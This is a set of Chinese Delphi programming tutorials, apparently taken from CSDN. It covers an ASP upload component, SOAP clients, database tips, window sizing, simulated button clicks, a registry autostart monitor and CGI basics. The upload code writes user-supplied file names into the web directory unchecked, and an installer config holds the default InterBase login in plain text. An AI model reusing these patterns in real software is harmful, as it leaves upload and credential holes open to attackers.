    这三个函数分别返回文件的名称、大小、数据。要注意的是，在返回文件数据时，必须进行相应的转
换，将Delphi中的string类型转换为OleVariant类型。

procedure Tupfile.FileSaveAs(Filename: OleVariant);
var
  fsout:TFileStream;
  i:integer;
  afile:file of byte;
begin
  fsout := TFileStream.Create(Filename,fmcreate);
  for i := 1 to length(FFileData) do
  begin
    fsout.Write(Byte(FFileData[i]),1)
  end;
  fsout.Free;
end;

    这个方法将文件保存到服务器上的磁盘。

    编译myobj这个project，得到一个myobj.dll文件。开发工作就此完成。

3 使用ASP上传组件

    在命令行下，输入“regsvr32 myobj.dll”。弹出一个对话框，告诉你组件已经注册。如果找不到
regsvr32.exe这个文件，它在windows\system32或winnt\system32目录下。
    将本文开头提到的test.asp文件修改为如下内容：

<%'建立对象
Set upfile = Server.CreateObject("myobj.upfile")

'获得表单对象
response.write upfile.form("a1")&"<br>"
response.write upfile.form("a2")&"<br>"
response.write upfile.form("a3")&"<br>"
response.write upfile.form("a4")&"<br>"
response.write upfile.form("a5")&"<br>"
response.write upfile.form("a6")&"<br>"

'获得文件大小
response.write "文件字节数："&upfile.filesize&"<br>"
'获得文件类型
response.write "文件类型："&upfile.filetype&"<br>"

'获得文件名，保存文件
upfile.filesaveas(Server.MapPath("")+upfile.filename)

set upfile = nothing
%>

    再次访问test.htm，提交表单。现在你可以看到相关的返回信息，并且在服务器上test.asp所处
的目录下找到上传的文件。
    这个组件只能上传单个文件，但根据同样的原理，一次上传多个文件的功能也是不难实现的。有兴趣
的读者可以自行尝试。


CSDN_文档中心_用Delphi 6开发Web services 1

直到不久以前,Delphi才拥有了开发Web服务程序(Web services)的能力.在以前的版本中,你可以选择诸如CORBA,DCOM,TCP/IP套接字等协议来开发多层的应用程序.虽然使用这些协议有一定的优点,但是它们也存在着不同的限制--而且它们都需要你在客户端表示出服务器端的对象.然而,Delphi 6允许你利用简单对象访问协议(SOAP)来使用(或者开发)Web服务程序
。

在我的两篇系列文章的下面的第一篇中,我将解释什么是Web服务并将向你展示如何在Delphi 6中使用已经存在的Web服务程序(不管它是用什么语言,在什么环境下编写的).

SOAP
SOAP提供了一条新的途径来将分散的层次连接在一起.它使用XML作为描述语言并且在许多情况下是高效的,但是目前最通用的用法之一是将它使用在Web服务的场合.你可以将一个Web服务看成是一个在Web 服务器上运行的远程对象,而这个远程对象的方法(服务)可以通过SOAP对外界开放.对Web服务及其方法的描述可以通过Web服务描述语言(WSDL)来实现,WSDL是XML的一个子集.实际上,以后我们将能够看见Delphi 6中编写的Web 服务能够自动为它们的对象界面生成正确的WSDL.

使用Web服务
浏览XMethods或者SalCentral Web services这样的中间网站你可以得到一些可用的Web服务的列表.(它们是在多种环境中编写的,比如说Delphi 6,Visual Studio.NET,Lucin SAL,等等)在本文中,我们将使用两个Web服务:Number to Words--数字转换成单词(由Tom Chamberlain在Delphi中编写而成)和BabelFish服务(来自AltaVista,XMethods用SOAPLite实现).我们的目的是要将一个数字(比方说,42)转化成单词,然后将它们从英文翻译成德文.你可以在这里下载和本文配套的例子文件.

数字到单词
Number to Words Web服务程序是用Delphi 6写成的.你可以从PowerOfZen获得WSDL描述文本.(这个网页能够生成WSDL,也就是一段列出你的需求的XML,以便生成一个引入的方法使你能够在Delphi 6中使用它).

为Web服务新建一个Delphi 6工程并将它保存为Client.dpr.现在,你必须生成一个导入部件来让IWordsForCheck界面能够运转起来.选择"文件|新建|其他"菜单,单击WebServices标签,然后选择Web服务导入图标,一个如图A所示的对话框将显示出来.在这里你粘贴上前面获得的WSDL URL.

图A

单击"生成"按钮来生成IWordsForCheck界面的导入单元:
type
IWordsForCheck = interface(IInvokable)
['{C3530212-5440-4CC4-82ED-5AA3F0984AAF}']
function GetWordsForCheck(const Value: Double): WideString; stdcall;
end;

注意IWordsForCheck界面是从IInvokable界面继承而来的(需要这样做是因为你需要能够使用这个远程的Web服务).


CSDN_文档中心_用Delphi 6开发Web services 2

调用GetWordsForCheck过程
现在,让我们回到Delphi工程的主单元然后在"使用"列表中加入导入单元(要么通过选择"文件|使用单元"菜单,要么通过显式的将它添加到"使用"列表中去).在应用程序主窗口中,我们将使用三个编辑框,如图B所示.第一个编辑框(输入框)将包含一个阿拉伯数字.第二个编辑框(输出框)将包含用英文单词表示的数字.第三个编辑框我们将在本文的后面使用,它将包含同样的数字,但是是用另外一种语言描述的.我们用一个按钮来启动事件,但我们首先需要一个更重要的部件来使这一切运转起来.打开部件调色板中的WebServices标签然后拖出第一个部件,HTTPRIO(它代表着一个可以通过HTTP访问的远程对象).

图B

HTTPRIO
你还记不记得我们用来生成导入单元所需的WSDL时使用的那个URL吗?导入单元只是标明了IWordsForCheck界面和这个界面的方法,GetWordsForCheck.它并没有指明到哪里找到这个Web服务.那正是你需要告诉给HTTPRIO组件的信息,同样是使用WSDL URL.确保你没有发生任何输入错误(最好是简单的拷贝粘贴),将WSDL URL放在HTTPRIO 组件的WSDLLocation属性栏里:
http://powerofzen.com/cgi-bin/wordsforchecks.exe/wsdl/IwordsForCheck

然后,打开服务属性的下拉列表并选择IWordsForCheckservice(唯一的选项).最后,打开端口属性的下拉列表IWordsForCheckPort(它也是唯一的选项).现在HTTPRIO已经作好准备来连接和使用Web 服务了.

真正的使用过程发生在按钮的OnClick事件处理函数里.我们首先需要从HTTPRIO组件里提取出IWordsForCheck界面(其效果就是激活远程Web服务).一旦我们获得了这个界面,我们就能调用它的方法了(在此例中,就是那个唯一的方法GetWordsForCheck).
procedure TForm1.Button1Click(Sender: TObject);
var
WordsForCheck: IWordsForCheck;
Number: Integer;
begin
WordsForCheck := (HTTPRIO1 AS IWordsForCheck); // 连接
Number := StrToInt(Edit1.Text);
Edit2.Text := WordsForCheck.GetWordsForCheck(Number);
end;

当我们在第一个编辑框中输入42然后点击按钮,将形成一个到远程Web服务的连接,IWordsForCheck界面将被提取出来(如果我们能够连接到Web服务的话),而后数字42将被转换成"FORTY TWO DOLLARS AND 00 CENTS".

BabelFish
你也可以在一个程序中使用不止一个Web服务.为了演示,让我们首先看看BabelFish翻译Web服务(基于AltaVista的BabelFish)将怎样把我们所得到的结果从英文翻译到德文.参看XMethods BabelFish Service Details来获得更详细的信息.

我将把使用WSDL URL(http://www.xmethods.net/sd/BabelFishService.wsdl)来生成导入单元并将WSDL URL写入到另一个HTTPRIO组件的WSDLLocation属性的任务留给你.不要忘了同时设定服务和端口两个属性.然后你就可以象下面一样添加最终代码:
procedure TForm1.Button1Click(Sender: TObject);
var
WordsForCheck: IWordsForCheck;
Number: Integer;
BabelFish: BabelFishPortType;
begin
WordsForCheck := (HTTPRIO1 AS IWordsForCheck); // Connect
Number := StrToIntDef(Edit1.Text,0);
Edit2.Text := WordsForCheck.GetWordsForCheck(Number);
BabelFish := (HTTPRIO2 AS BabelFishPortType); // Connect
Edit3.Text := BabelFish.BabelFish('en_de',Edit2.Text)
end;

使它变得更好
不幸的是,BabelFish服务每次只翻译文本中的一个单词.如图C所示,对于 "FORTY TWO",你将得到"VIERZIG ZWEI",它的意思是"四十"和"二"而不是"四十二".为了消除这种限制,并且同时开发出英语到荷兰语的翻译服务(BabelFish现在还没有提供这种功能),我决定编写自己的Number to Dutch Words(将数字用荷兰语表示)的Web服务.那将是我们下一次讨论的题目.同时,如果你对Delphi 6中使用Web服务有任何疑问或者你希望看到更多的例子,有空的时候请访问我的Web站点上的SOAP部分.

图C


CSDN_文档中心_用Delphi 开发数据库程序经验三则

1.建立临时表
    数据输入是开发数据库程序的必然环节。在Client/Server结构中，客户端可能要输入一批数据后，再向服务器的后台数据库提交，这就需要在本地（客户端）建立临时数据表来存储用户输入的数据，待提交后，清除本地表数据。这种方法的好处是：提高输入效率，减小网络负担。

    由于用户一次输入的数据量一般情况下较小（不会超过几百条记录），所以临时表可以建立在内存中，这样处理速度较快。
    方法1：使用查询控件(TQuery)
    第1步：在窗体上放上查询控件(TQuery)，设置好所连接的数据表。
    第2步：使TQuery. CachedUpdates=True;
           TQuery. RequestLive=True
    第3步：在原有的SQL语句后加入一条Where子语句，要求加入这条Where子语句后SQL查询结果为空。
    例如：
       SELECT Biolife.″Species No″, Category, Common_Name, Biolife.″Species Name″, Biolife.″Length (cm)″, Length_In, Notes, Graphic
         FROM ″biolife.db″ Biolife
         where Biolife.Category=′A′ and Biolife.Category=′B′
    这样临时表就建立完成了。

    方法2：使用代码创建临时表
    代码如下：
    function CreateTableInMemory(const AFieldDefs:TFieldDefs):TDataSet;
    var
           TempTable:TClientDataSet;
    begin
     TempTable:=nil;
     Result:=nil;
     if AFieldDefs<>nil then
     begin
       try
         TempTable:=TClientDataSet.Create(Application);
         TempTable.FieldDefs.Assign(AFieldDefs);
         TempTable.CreateDataSet;
         Result:=(TempTable as TDataSet);
       Except
         if TempTable<>nil then
                     TempTable.Free;

         Result:=nil;
         raise;
       end
    end
  end;

    在程序中按如下方法使用：
    procedure TForm1.Button1Click(Sender: TObject);
    var
           ADataSet:TDataSet;
    begin
     ADataSet:=TDataSet.Create(Self);
     with ADataSet.FieldDefs do
     begin
        Add(′Name′,ftString,30,False);
        Add(′Value′,ftInteger,0,False);
     end;

     with DataSource1 do
     begin
        DataSet:=CreateTableInMemory(ADataSet.FieldDefs);
        DataSet.Open;
     end;

     ADataSet.Free;
    end;

    临时表创建完成。

    方法1使用简单，但由于利用查询控件，清空数据时需要查询服务器后台数据库，所以速度稍慢，而且不适用于临时表中各个字段由数个数据表的字段拼凑而成的情况。方法2适用范围广、速度快，但需要编写代码。（代码中TFieldDefs的使用方法十分简单，见Delphi的联机帮助）。

2.配置数据引擎（BDE、SQL Link）
    有关数据库程序分发时，需要携带数据引擎（BDE、SQL Link），并且在客户端安装完程序后还需要配置数据引擎，如用户名（username）、密码（Password）等等。如果手工配置的话，工作量比较大（根据客户机数量而定）。而InstallShield For Delphi又好像没有这方面的选项，其实InstallShield For Delphi可以做到，在生成安装程序的目录里有一个＊.iwz的文本文件，只要在[IDAPI Alias]片段中手工加入即可。 例如：
     [IDAPI Alias]
     usesname=SYSDBA
     password=masterkey
    安装程序后数据引擎自动配置完毕。

3.在InterBase数据库中使用函数
    程序员可能在用InterBase作为后台数据库时，会为其提供的函数过少而感到不方便（只有四个），无法方便地编写出复杂的存储过程。InterBase本身无法编写函数，但它可以使用外部函数（调用DLL中的函数）。下例中说明如何在InterBase 中声明SUBSTR函数。
    DECLARE EXTERNAL FUNCTION SUBSTR
     CSTRING(80), SMALLINT, SMALLINT
     RETURNS CSTRING(80)
     ENTRY_POINT ″IB_UDF_substr″ MODULE_NAME ″ib_udf″

    其中：MODULE_NAME为DLL的名称，ENTRY_POINT为函数名。
    声明后便可以使用，例如：
     select SUBSTR(country)
       from country

    本例使用的是Delphi安装时自带的IBLocal数据库。用户也可以自己编写函数来扩充InterBase。


CSDN_文档中心_用Delphi 控制窗体的大小

用Delphi 控制窗体的大小
http://www.tongyi.net 出处:中国电脑教育报 点击:735

在我们使用的软件中，有些窗口在极大化时只占屏幕的一小部分，那么它是如何实现的呢！请看下面的例子：
1、在FORM私有声明部分加上如下一行程序：
procedure WMGetMaxInfo( var Message:TWMGetMinMaxInfo);message WM_GETMinMAXINFO;
2、在声明部分加上如下几行程序:
procedure TForm1.WMMinMaxInfo( var Message :TWMGetMinMaxInfo );
begin
with Message.MinMaxInfo do
begin
ptMaxSize.X := 400; //最大化时宽度
ptMaxSize.Y := 400; //最大化时高度
ptMaxPosition.X := 50; //最大化时左上角横坐标
ptMaxPosition.Y := 50; //最大化时左上角纵坐标
end;
Message.Result := 0; //告诉Windows你改变了最大化和最小化信息。
inherited;
end;


CSDN_文档中心_用Delphi“遥控”按钮

很多情况下，我们需要在程序中实现这样的功能：在自编写的程序里控制另外一软件中的某个按钮被按下。比如，有一天你在聊QQ时觉得烦了，那么就想写程序来帮你按下“发送”按钮，省得你自己一次次动手了。那么，这个想法怎样才能实现呢？

其实做法很简单，它只用两条Windows消息就能实现了。（当然，前提是你必须知道那个按钮的handle。我想这个对一般程序员来说简直是小菜一碟）这两条消息分别是：WM_LBUTTONDOWN和WM_LBUTTONUP。下面我给出一个简单的实例说明用法：

procedure TForm1.Button1Click(Sender: TObject);

var

btnHandle: HWND; //要控制的那个按钮的句柄

begin

btnHandle:=strtoint(Edit1.Text ); //为了简单起见就这么设了，你要先写程序得到它

SendMessage(btnHandle,WM_LBUTTONDOWN,MK_LBUTTON, 0);

SendMessage(btnHandle,WM_LBUTTONUP,0,0);

end;

整个过程其实就是模拟了一下鼠标左键被按下又松开（注意，光有鼠标左键被按下是不行的）。怎么样？够简单吧！现在就可以把这个功能加进你的程序里面，实现一些有趣的效果了！:)


CSDN_文档中心_用Delphi5.0实现注册表监视

用Delphi5.0实现注册表监视

中南大学湘雅二医院信息中心 朱洪涛

随着Internet的不断普及，网络安全越来越受到人们的重视。除了计算机病毒以外，网上不断出现的的各类黑客软件、远程控制软件等，更让人们对自己的机器越来越不放心。而这类软件的多样性及不断更新等，使得单靠一些防病毒软件已不能完全保护自己的机器。

有没有什么好的方法防止来历不明的软件安装在自己的机器上呢？答案就是密切注意系统关键文件的变化。大家都知道，一个程序如果要在Windows启动时自动运行，一般有三种方法：
1．在开始菜单的[启动]组中加入快捷方式
2．在Win.ini中加入相关项目
3．在注册表的 HKEY_Local_Machine\SoftWare\Microsoft\Windows\CurrentVersion\Run主键下加入指向自己的键值。
而第一种方法太明显，很容易发现。所以一般的黑客程序使用后两种方法启动自己。笔者在此介绍一个自己编写的简单的注册表监视器，用于实时监视注册表中键值的变化，以发现不明来历的程序。读者有兴趣的可以在此基础上进一步完善。
程序设计思路
本程序用Delphi5.0开发。Delphi是Borland公司出品的快速可视化Windows程序开发工具，功能强大，易于使用。程序中通过一个定时器来实现每隔一定时间对注册表比较一次。程序在启动时保留一份原始的注册表相关键值的数据备份，然后定时和当前的键值进行比较，如果发现变化，则提示用户查看。
程序实现
1、在Delphi中建立一个新的Project，将Form1改名为FormMain
2、在FormMain上放置一个定时器控件TTimer，将Project保存为PiRegWatch.Dpr
3、修改PiRegWatch.Dpr中的代码：
  Application.Initialize;
Application.CreateForm(TFormMain, FormMain);
//使主窗口启动时不显示
Application.ShowMainForm:=False;
Application.Run;
在FormMain中增加几个对象。
对象类型说明
RegTregistry用于注册表的访问
IniFileTiniFile用于保存原始注册表数据
LogTstringList用于记录变化的日志
RegKeysTstringList用于存放Run分支下的主键名
4、在FormMain:OnCreate事件中保留原始注册表数据，主要代码如下：
……
self.Reg:=TRegistry.Create;
with self.Reg do
begin
RootKey:=HKEY_Local_Machine;
If OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false)
then
begin
RegKeys:=TStringList.Create;
GetValueNames(RegKeys); //取得Run下面的所有主键名
if not self.IniFile.SectionExists('RunList') then //如果没有保存过数据
begin
for i:=0 to Regkeys.Count-1 do //保存原始数据
if (self.Reg.GetDataType(RegKeys.Strings[i])=rdString)
or(self.Reg.GetDataType(RegKeys.Strings[i])=rdExpandString)
then begin
value:=self.Reg.ReadString(RegKeys.Strings[i]);
self.IniFile.WriteString('RunList',RegKeys.Strings[i],value);
end;
end;
end;
end;
……
5、在TTimer1.OnTmer事件中加入比较注册表的代码。主要代码如下：
procedure TFormMain.Timer1Timer(Sender: TObject);
var i:integer;
RegVal,IniVal:string;
begin
self.Timer1.Enabled:=False;
self.Reg.GetValueNames(RegKeys);
for i:=0 to RegKeys.Count-1 do //检查新加的和已修改了的键值
if (self.Reg.GetDataType(RegKeys.Strings[i])=rdString)
or (self.Reg.GetDataType(RegKeys.Strings[i])=rdExpandString)
then begin
RegVal:=self.Reg.ReadString(RegKeys.Strings[i]);
IniVal:=self.IniFile.ReadString('RunList',RegKeys.Strings[i],'');
if RegVal<>IniVal then
begin
self.LogMsg('Item Add:'+RegKeys.Strings[i]+'='+RegVal);
self.IniFile.WriteString('RunList',RegKeys.Strings[i],RegVal);
try
//提示用户
SendMsg('ABC','','注册表被改变:新增项目'+RegKeys.Strings[i]+'='+RegVal);
finally
end;
end;
end;
self.IniFile.ReadSection('RunList',RegKeys);
for i:=0 to RegKeys.Count-1 do //检查已被删除的键值
begin
IniVal:=self.IniFile.ReadString('RunList',RegKeys.Strings[i],'');
if self.Reg.ValueExists(RegKeys.Strings[i]) and
((self.Reg.GetDataType(RegKeys.Strings[i])=rdString)
or (self.Reg.GetDataType(RegKeys.Strings[i])=rdExpandString) )
then
RegVal:=self.Reg.ReadString(RegKeys.Strings[i])
else
RegVal:='';
if (IniVal<>'') and (RegVal='') then
begin
self.LogMsg('Item Del:'+RegKeys.Strings[i]+'='+IniVal);
self.IniFile.DeleteKey('RunList',RegKeys.Strings[i]);
try
SendMsg('ABC','','注册表被改变:项目删除'+RegKeys.Strings[i]+'='+IniVal);
finally
end;
end;
end;
self.IniFile.UpdateFile;
self.Timer1.Enabled:=True;
end;
6、在FormMain:OnClose事件中进行对象释放及必要的清理工作
procedure TFormMain.FormClose(Sender: TObject; var Action:TCloseAction);
begin
if Assigned(self.Reg) then self.Reg.Free;
if Assigned(self.IniFile) then self.IniFile.Free;
if Assigned(self.LogFile) then self.LogFile.Free;
if Assigned(self.RegKeys) then self.RegKeys.Free;
end;
经过实际运行，该程序在发现来历不明的程序方面确实能起到一定的作用。当然，它的功能也很单一，如果要进一步完善，增加监视系统其他关键文件的变化，则效果会更好。希望能与有兴趣的读者交流。
下载源代码。


CSDN_文档中心_用Delphi编写CGI程序（二）

用Delphi编写CGI程序（二）
    在 上 一 讲 中， 我 们 介 绍 了 CGI 程 序 的 功 能。 今 天， 我 们 进 入： 第 二 部 分、 CGI 程 序 设 计 的 概 念 。本 讲 的 内 容 是 深 入 了 解 CGI 程 序 的 基 础。

本 系 列 讲 座 是 用 Delphi 编 写 CGI 程 序， 对 于 本 次 的 内 容 Delphi 已 经 封 装 在 它 的 类 中， 您 也 许 认 为 本 讲 没 有 必 要。 但 我 认 为 CGI 的 优 势 之 一 是 可 用 的 开 发 语 言 多（ 下 面 将 提 到 这 个 问 题）， 而 本 讲 的 内 容 可 用 于 任 何 程 序 设 计 语 言 中（ 包 括 Delphi ）。 所 以， 要 发 挥 CGI 的 优 势， 本 讲 的 内 容 还 是 必 要 的； 再 说， 本 讲 的 内 容 是 深 入 了 解 CGI 程 序 的 基 础。

2 、 CGI 规 范：

      通 常， WEB 服 务 器 是 一 台 功 能 强 大 的 计 算 机， 但 不 可 能 利 用 所 有 处 理 能 力。 CGI 的 产 生 使 得 人 们 可 以 用 WEB 服 务 器 的 处 理 能 力 为 远 程 客 户 提 供 有 趣 的、 动 态 的 内 容。 CGI 规 范 应 用 于 WEB 服 务 器 及 运 行 在 WEB 上 的 应 用 程 序。 它 不 是 HTTP 协 议 的 一 部 分， 但 大 多 数 WEB 服 务 器 都 支 持 这 个 规 范， 如 NCSA httpd 、 CERN httpd 、 Apache httpd 、 IIS 及 我 们 使 用 的 OmniHTTPD 。

2.1 、 CGI 概 览

      CGI 定 义 WEB 服 务 器、 浏 览 器 和 应 用 程 序 之 间 的 相 互 操 作 中 共 同 遵 守 的 规 则 集。 例 如 通 过 WEB 浏 览 器 查 询 远 程 数 据 库 系 统：

2.2 、 语 言：

      CGI 程 序 可 以 使 用 WEB 服 务 器 上 可 以 执 行 的 任 何 语 言 来 编 写。 您 应 该 选 用 最 熟 悉 和 最 适 合 目 前 工 作 的 语 言。 如： Perl 语 言 适 合 字 符 串 和 文 件 处 理， C 对 大 型 的、 复 杂 的 程 序 更 合 适， Visual Basic 和 Delphi 则 适 合 数 据 库 的 处 理， 等 等。 下 面 是 常 用 的 CGI 编 程 语 言：

C
C++
Perl
Tcl
Python
Shell Scripts
Visual Basic
Delphi
Applescript

2.3 、 CGI 方 法：
      调 用 CGI 的 途 径 称 为 CGI 方 法。 主 要 有 三 种 CGI 方 法：

2.3.1 、 GET 方 法：
      GET 方 法 是 浏 览 器 向 WEB 服 务 器 提 出 请 求 的 方 法。 使 用 这 种 方 法 时， CGI 程 序 从 环 境 变 量 QUERY_STRING 中 获 取 数 据。 CGI 程 序 为 了 得 到 输 入 的 参 数， 必 须 分 析 这 个 环 境 变 量。 当 传 输 的 数 据 很 长 时， 应 使 用 POST 方 法。

2.3.2 、 POST 方 法：
      使 用 POST 方 法 时， CGI 程 序 从 stdin （ 标 准 输 入） 得 到 输 入 数 据。 由 于 输 入 数 据 的 最 后 没 有 EOF （ 文 件 结 束 标 志 End Of File ）， CGI 程 序 为 了 正 确 读 取 输 入 数 据， 必 须 使 用 环 境 变 量 CONTENT_LENGTH 值。 用 这 种 方 法 的 最 大 优 点 在 于 可 以 传 输 大 量 数 据， 而 GET 方 法 由 于 受 URL 长 度 的 限 制（ 一 般 不 超 过 1024 字 节）， 无 法 传 输 大 量 数 据。 这 时， POST 方 法 是 唯 一 的 选 择。

2.3.3 、 HEAD 方 法：
      HEAD 方 法 基 本 同 于 GET 方 法， 只 是 它 是 从 WEB 服 务 器 向 浏 览 器 传 输 数 据。 而 且， 传 输 的 仅 仅 是 HTTP 的 头 信 息。

2.4 、 接 口 规 范：
      下 面 将 介 绍 WEB 服 务 器 与 CGI 程 序 通 信 的 四 种 主 要 方 法： 环 境 变 量、 命 令 行、 标 准 输 入 和 标 准 输 出。（ 根 据 CGI Version 1.1 给 出）

2.4.1 、 环 境 变 量：

AUTH_TYPE ： 如 果 服 务 器 支 持 确 认 并 且 脚 本 得 到 保 护， 给 出 确 认 的 类 型。

CONTENT_LENGTH ： 给 出 以 字 节 为 单 位 的 用 POST 方 法 传 输 的 数 据 长 度。 用 GET 方 法 时 变 量 为 空。

CONTENT_TYPE ： 给 出 用 POST 方 法 时 传 输 数 据 的 MINE 类 型。 当 使 用 GET 方 法 时 变 量 为 空。 如： application/x-www-form-urlencoded 。

GETWAY_INTERFACE ： 给 出 CGI 规 范 名 和 版 本 号， 如： CGI/1.1 。

PATH_INFO ： 给 出 了 URL 中 CGI 程 序 名 之 后 的 附 加 路 径 信 息。

PATH_TRANSLATED ： CGI 程 序 的 物 理 路 径， 通 常 是 WEB 根 目 录、 脚 本 名 和 附 加 路 径 信 息。

QUERY_STRING ： URL 中 " ？ " 字 符 后 的 信 息。 使 用 GET 方 法 时 此 环 境 变 量 给 出 输 入 数 据。

REMOTE_ADDR ： 提 出 请 求 的 远 程 计 算 机 的 IP 。

REMOTE_HOST ： 提 出 请 求 的 远 程 计 算 机 的 名 字。

REMOTE_IDENT ： 给 出 RFC 931 中 定 义 的 用 户 名。

注： RFC 931 是 Internet 的 权 威 文 档， 描 述 了 确 认 TCP 连 接 中 识 别 用 户 的 方 法。 文 档 在： http://sunsite.auc.dk/RFC/rfc/rfc931.html 。

REMOTE_USER ： 给 出 提 出 请 求 的 客 户 端 的 授 权 用 户 名。

REQUEST_METHOD ： 提 出 请 求 的 方 法， 可 以 是 GET 、 HEAD 和 POST 。

SCRIPT_NAME ： 要 执 行 CGI 程 序 的 虚 拟 路 径， 如： /cgi-bin/query.cgi 。

SERVER_NAME ： 运 行 WEB 服 务 器 软 件 的 计 算 机 域 名 或 IP 地 址， 如： www.chinabyte.com 。

SERVER_PORT ： WEB 服 务 器 的 端 口 号， 缺 省 值 是 80 。

SERVER_PROTOCOL ： WEB 服 务 器 使 用 的 协 议 名 和 版 本 号， 如： HTTPD/1.0 。

SERVER_SOFTWARE ： 执 行 CGI 程 序 的 WEB 服 务 器 名。 格 式 为 " 服 务 器 名 / 版 本 号 " ， 如： NCSA/1.5b5 。

HTTP_ACCEPT ： 客 户 端 发 送 的 "Accpect ： 标 题 行 " ， 对 应 于 客 户 端 能 处 理 的 MIME 类 型， 格 式 为 " 类 型 / 子 类 型， 类 型 / 子 类 型 等 " ， 如： */* ， image/gif ， image/jpeg 。

HTTP_REFERER ： 是 Referer ： 标 题 行 的 目 录， 包 含 了 CGI 请 求 时 的 表 单（ Form ） 的 URL ， 如： http://www.chinabyte.com/register.form 。

HTTP_USER_AGENT ： 提 出 请 求 的 客 户 端 浏 览 器 名， 如： Mozilla/1.2N （ Windows;I;32bit ）。

      以 上 的 这 些 环 境 变 量 您 可 以 用 上 一 讲 的 示 范 程 序 看 到。

2.4.2 、 命 令 行：

      CGI 命 令 行 只 在 用 ISINDEX 查 询 时 才 用 到。 ISINDEX 查 询 是 包 含 在 < ISINDEX> 和 < BASE HREP=".."> 之 间 的 特 殊 查 询。 命 令 行 可 以 带 多 个 参 数。

2.4.3 、 标 准 输 入：

      使 用 POST 方 法 时， CGI 程 序 从 stdin 得 到 传 输 数 据。 前 面 讲 过， 必 须 使 用 CONTENT_TYPE 和 CONTENT_LENGTH 环 境 变 量 值。 其 中 要 注 意 的 是， 数 据 中 的 URL 被 编 码 了， 如 空 格 用 加 号 代 替、 ~ 由 %7E 代 替 等。

2.4.4 、 标 准 输 出：

      CGI 程 序 通 过 标 准 输 出 将 数 据 送 给 浏 览 器， 或 是 WEB 服 务 器 可 解 释 的 命 令。 CGI 程 序 可 以 通 过 WEB 服 务 器 同 浏 览 器 对 话， 它 们 的 程 序 名 必 须 以 "nph-" 开 头， 代 表 未 经 分 析 的 头 信 息。 CGI 程 序 负 责 返 回 给 浏 览 器 的 HTTP 头 信 息 的 正 确 性。

      在 不 使 用 nph- 程 序 时， 服 务 器 查 找 CGI 可 能 返 回 的 三 种 特 殊 的 头 信 息：

Content-type ： MIME 类 型 的 头 信 息， 如： 输 入 HTML 时， 常 用 "Content-type:text/html\n\n" 。

Location ： 告 知 服 务 器 你 正 指 向 别 的 文 档。 服 务 器 或 者 重 定 向 客 户， 或 者 发 送 文 档 内 容， 这 取 决 于 URL 是 完 整 路 径 还 是 相 对 路 径。

Status ： 服 务 器 送 给 客 户 端 的 状 态 行。 格 式 为： nnnXXXXX ， nnn 是 一 个 三 位 数 编 码， 而 XXXXX 是 相 对 应 的 描 述 文 本。


CSDN_文档中心_用Delphi编写CGI程序（六）

用Delphi编写CGI程序（六）
      在 前 面 的 几 个 章 节 里 ， 我 们 完 成 了 CGI 程 序 的 一 般 论 述 。 在 此 ， 我 给 出 一 个 简 单 的 示 范 程 序 作 为 对 以 前 的 内 容 的 总 结 。

     要 使 用 这 个 程 序 ， 您 需 要 OmniHTTPD 的 最 新 测 试 版 ： OmniHTTPD 2.0b1 (beta 1) for Windows 95/NT 。 如 果 您 没 有 ， 可 以 在 这 里 下 载 （ oh20b1.zip） 。

     安 装 OmniHTTPD 同 第 一 讲 中 的 方 法 一 样 ， 这 里 就 不 再 讲 了 。 我 在 这 里 只 讲 一 讲 这 一 版 本 中 的 一 些 设 置 问 题 ：

     打 开 OmniHTTPD 的 属 性 设 置 对 话 框 ， 使 用 Web Server Global Setting 按 钮 ， 转 到 External 页 ， 将 .cgi 的 设 置 删 除 。 在 未 删 除 时 ， 用 cgi 作 扩 展 名 的 CGI 程 序 是 作 为 Perl 程 序 处 理 的 ； 在 我 们 的 课 程 中 ， Perl 语 言 的 CGI 程 序 的 扩 展 名 是 .pl ， 而 编 译 后 的 CGI 程 序 扩 展 名 是 .cgi ， 所 以 ， 要 将 设 置 作 这 样 的 修 改 。

     在 这 个 版 本 的 OmniHTTPD 中 ， 对 SSI(Server Side Include) 命 令 的 支 持 比 以 前 的 版 本 大 大 加 强 了 ， 支 持 include 、 exec 等 命 令 。 在 示 范 程 序 中 ， 我 用 到 了 这 些 命 令 。

     您 将 (ex8.zip) 下 载 后 ， 里 面 包 含 三 个 文 件 ： index.shtml 、 makelog.cpp 和 makelog.exe 。 index.shtml 是 一 个 包 含 SSI 命 令 的 脚 本 ， 请 拷 贝 到 c:\httpd\htdocs 目 录 下 ； makelog.exe 是 CGI 程 序 ， 请 拷 贝 到 c:\httpd\cgi-bin 目 录 下 ； makelog.cpp 是 makelog.exe 的 源 文 件 ， 如 果 您 要 修 改 编 译 的 话 ， 必 须 用 32 位 的 编 译 器 ， 如 VC 等 ， 否 则 无 法 使 用 。

     除 此 之 外 ， 您 需 要 将 OmniHTTPD 中 的 设 置 作 一 个 修 改 ： 选 择 Default Virtual Setting ， 在 Server 页 上 将 Default Index 改 为 index.shtml 。 这 样 ， 当 您 在 浏 览 器 中 敲 入 http://localhost 时 ， OmniHTTPD 自 动 调 入 index.shtml 。

     再 做 一 个 WEB 文 档 ， 以 index.html 为 文 件 名 存 在 c:\httpd\htdocs 目 录 下 。 您 用 浏 览 器 访 问 localhost 时 ， index.shtml 先 调 用 makelog.exe ， 存 储 用 户 的 访 问 信 息 ， 再 调 用 index.html ， 将 其 显 示 在 浏 览 器 中 。 用 户 的 访 问 信 息 存 储 在 c:\httpd\cgi-bin 目 录 下 的 userlog 文 件 中 。

     这 个 实 例 用 到 了 CGI 规 范 中 基 本 的 环 境 变 量 和 SSI 技 术 ， 请 您 好 好 研 究 一 下 。

     4 、 数 据 库

     在 CGI 的 应 用 中 ， 数 据 库 方 面 的 应 用 是 最 体 现 CGI 程 序 强 大 功 能 的 。 在 互 联 网 上 ， 数 据 库 是 非 常 多 的 ， 而 这 些 数 据 库 的 WEB 应 用 的 需 求 也 是 越 来 越 多 ( 无 论 是 来 自 公 司 的 还 是 来 自 用 户 的 需 求 ) 。 可 以 说 ， WEB 本 身 就 是 一 个 巨 大 的 数 据 库 ， 如 何 将 这 些 庞 大 的 数 据 集 合 有 效 的 组 织 起 来 ， 在 WEB 上 进 行 发 布 ， 是 CGI 和 数 据 库 系 统 共 同 解 决 的 课 题 。

